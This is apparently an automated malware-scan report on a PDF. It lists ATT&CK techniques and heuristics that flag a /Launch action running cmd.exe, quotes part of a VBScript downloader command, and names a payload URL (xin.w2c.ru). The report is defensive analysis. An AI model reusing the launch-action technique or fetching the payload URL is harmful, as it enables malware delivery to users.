MITRE ATT&CK
T1204.002 Malicious File
T1059.003 Windows Command Shell
The PDF file contains a launch action that targets cmd.exe, indicating an attempt to execute arbitrary commands. An embedded URL, http://xin.w2c.ru/kit/?m=1, was also extracted, likely serving as a payload source. The embedded script payload further supports the malicious intent of executing external code.
Heuristics 4
-
Launch action critical PDF_LAUNCHPDF contains a /Launch action whose target is an executable, URL, or UNC path — can start an external application
-
/Launch action target: cmd.exe critical PDF_LAUNCH_COMMANDPDF /Launch action specifies an executable target with parameters ' /c echo Set pfeguaynijekugkyajss = CreateObject\("MSXML2.ServerXMLHTTP"\' — references a known-dangerous executable (cmd, PowerShell, etc.).
-
Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOADPDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://xin.w2c.ru/kit/?m=1
